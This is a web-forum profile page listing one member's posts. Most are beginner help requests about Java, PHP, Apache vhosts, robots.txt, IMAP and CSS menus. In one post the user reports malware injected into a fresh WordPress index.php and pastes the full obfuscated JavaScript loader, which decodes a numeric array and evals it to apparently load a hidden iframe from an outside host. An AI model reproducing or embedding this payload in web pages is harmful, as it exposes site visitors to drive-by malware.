Jump to content

hamza

Members
  • Posts

    321
  • Joined

  • Last visited

Profile Information

  • Gender
    Not Telling

hamza's Achievements

Advanced Member

Advanced Member (4/5)

0

Reputation

  1. Hi everyone, Can anybody like to explain php page/request life cycle?
  2. Hi all , i am newbie in java. i am getting error not sure about this when you select option two after running this code. this error will occur please help Error: exception in thread “main” Java.lang.nullPointerException error? here is my code import java.util.*; class Person { String name; int phoneNumber; } class Student extends Person { String rollNo; double CGPA; public Object getRollNo; public void input() { System.out.print("Enter rollNo and CGPA: "); Scanner in = new Scanner(System.in); rollNo = in.next(); CGPA = in.nextFloat(); } public void output() { System.out.println(" Student Details " ); System.out.println("\n============" ); System.out.println("Roll No: " + rollNo + "\nCGPA: " + CGPA); } public String getRollNo() { return rollNo; } } public class AddressBook { public static void main(String args[]) { int choice = 3; AddressBook addressBook= new AddressBook(3); System.out.println("\n1.Press 1 to Add Contact."); System.out.println("\n2.Press 2 to Search."); System.out.println("\n3.Exit."); System.out.println("\n=========================================="); System.out.print("Enter your choice: "); Scanner in = new Scanner(System.in); int choice1 = in.nextInt(); while (choice1 != 3) { //try { if (choice1 == 1) { addressBook.AddContact(); } else if (choice1 == 2) { addressBook.Search(); } else if (choice1 == 3) { System.out.print("Exting..."); } else { System.out.print("Please enter a valid menu option."); } /*} catch (ArrayIndexOutOfBoundsException e) { System.out.print("Please enter a valid menu option."); } */ System.out.println("\n1.Press 1 to Add Contact."); System.out.println("\n2.Press 2 to Search."); System.out.println("\n3.Exit."); System.out.println("\n=========================================="); System.out.print("Enter your choice: "); choice1 = in.nextInt(); } } int sizeOfAddressBook; int currentRecord; //Person[] record; // <-- Defined a variable which will be an array of Person objects Person[] record = new Person[10]; AddressBook(int size) { sizeOfAddressBook = size; for (int iter = 0; iter < sizeOfAddressBook; iter++) { record[iter] = new Person(); // error } currentRecord = 0; } void AddContact() { try { Student student = new Student(); student.input(); record[currentRecord++] = student; } catch(ArrayIndexOutOfBoundsException e1) { System.out.println("No more free place exist in array record!"); } } void Search() { System.out.print("Enter rollNo: "); Scanner in = new Scanner(System.in); String no = in.next(); Student stud = new Student(); // me for (int iter = 0; iter < sizeOfAddressBook; iter++) { if (record[iter] instanceof Student) { stud = (Student) record[iter]; try{ if (stud.getRollNo.equals(no)) { stud.output(); return; } } catch(NullPointerException e) { e.printStackTrace(); System.out.println("exception details" + e); } } } System.out.println("Student is not found!"); } }
  3. work work and work

  4. No matter which framework we use Enabling error_reporting and display_errors always work.
  5. How i can detect Custom Error Response if any of them occur on my site. Errors are 500 404 401 408 Do i need any script or any perfect solution for this. Please guide me. thanks
  6. hamza

    submenu issue

    Please zoom in then you will see space between menu and submenu
  7. hamza

    submenu issue

    Your browser? i am using windows7 ff , chorme, and Ie9 i can gap on both.
  8. hamza

    submenu issue

    please check this image http://tinyurl.com/ac93tqe Please check this issue on google chrome. don't no what is happening. it is working fine on other browsers. go to second menu "Our Scientists and Research" hover on it and see second submenu is away. when we fix this. the other submenu will get disterbed. please help. Here is the link: http://tinyurl.com/cnh8v48
  9. hi i am unable to define vhost on local machine. please check below enabled Include conf/extra/httpd-vhosts.conf httpd-vhosts.conf <VirtualHost *:80> ServerAdmin ramesh@thegeekstuff.com DocumentRoot C:\wamp\www\cms ServerName top5freeware </VirtualHost> <VirtualHost *:80> ServerAdmin ramesh@thegeekstufdf.com DocumentRoot C:\wamp\www ServerName localhost </VirtualHost> hosts 127.0.0.1 localhost 127.0.0.1 top5freeware dont no why it is not working at all i restated the appachi did evything that i know
  10. please see me robot file # global Disallow: /cgi-bin/ Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/plugins/ Disallow: /wp-content/cache/ Disallow: /wp-content/themes/ Disallow: /trackback/ Disallow: /feed/ Disallow: /comments/ Disallow: /category/*/* Disallow: */trackback/ Disallow: */feed/ Disallow: */comments/ Disallow: /*? Allow: /wp-content/uploads/ #And here it is my subdir # Disallow Other subdirs Disallow: /test/ Disallow: /livelimmitless/ Disallow: /demos/ The Issue robots not crawlering on my site. and not indexing it . please see the file and help me with this what excactly the issue is. thanks
  11. hi i am successfully fetching gmail mail using imap(). the problem i am getting extra classes and ids , div. i just need only html body of the email. i am using this code http://davidwalsh.name/gmail-php-imap Please guide me how i can get only html body of all emails. thanks
  12. This code is creating broken image.please check it png and gd is enabled. i also remove the header but still getting broken image. there is no space before/after php tags.thanks you my code <?php // Set the content-type header('Content-Type: image/png'); // Create the image $im = imagecreatetruecolor(400, 30); // Create some colors $white = imagecolorallocate($im, 255, 255, 255); $grey = imagecolorallocate($im, 128, 128, 128); $black = imagecolorallocate($im, 0, 0, 0); imagefilledrectangle($im, 0, 0, 399, 29, $white); // The text to draw $text = 'Testing...'; // Replace path by your own font path $font = 'arial.ttf'; // Add some shadow to the text imagettftext($im, 20, 0, 11, 21, $grey, $font, $text); // Add the text imagettftext($im, 20, 0, 10, 20, $black, $font, $text); // Using imagepng() results in clearer text compared with imagejpeg() imagepng($im); imagedestroy($im); ?>
  13. i am installing and wordpress blog on my godaddy hosting account and it is getting hacking code. its a fresh installation and i tried again installing it but it is getting hacking code on top index.php please help . hacking code look like this <script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';try{new document();}catch(qqq){s=String;f='f'+'r'+'o'+'mChar';}ee='e';e=window.eval;t='y';}h=2*Math.sin(3*Math.PI/2);n=[3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5];for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f+'C'+'ode'](-h*(1+n[j]));}q=ss;e(q);</script>
  14. Nivo slider not working or loading in IE 7 6 site link http://tinyurl.com/8y64bvf
  15. thanks for your reply can you please give me that mod name and details n if possible then can you provide me that mod i really need help. thanks I have a mod for SMF not VB so you need to chk with the VB people to see what they suggest you use. ok
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.